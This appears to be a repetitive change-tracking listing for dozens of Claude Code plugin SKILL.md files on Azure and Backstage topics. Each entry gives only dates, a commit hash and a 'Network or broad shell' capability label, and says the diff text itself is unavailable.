Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-postgre-database-management/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-data-development/skills/azure-storage/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-container-registry-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-deployment-preflight/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-developer-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/cosmosdb-datamodeling/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-compliance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-quotas/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-role-selector/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-argocd-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-helm-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubectl-cli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-modernization/skills/azure-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-observability-operations/skills/appinsights-instrumentation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-observability-operations/skills/azure-cost/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-ai-catalog/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-bootstrap/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-app-configuration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-authentication/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog-db-performance/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-core-contribution/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-framework/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-kubernetes/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-mcp-actions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-notifications/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-operations/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-permissions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-search/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-software-templates/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-techdocs/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-upgrade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-ai/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-app/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
harness/claude-code/plugins/backstage-expert/skills/backstage-app-bootstrap/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
1672ec1d9bb3 → 1672ec1d9bb3
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 1672ec1d9bb3
No earlier version was observed for comparison.
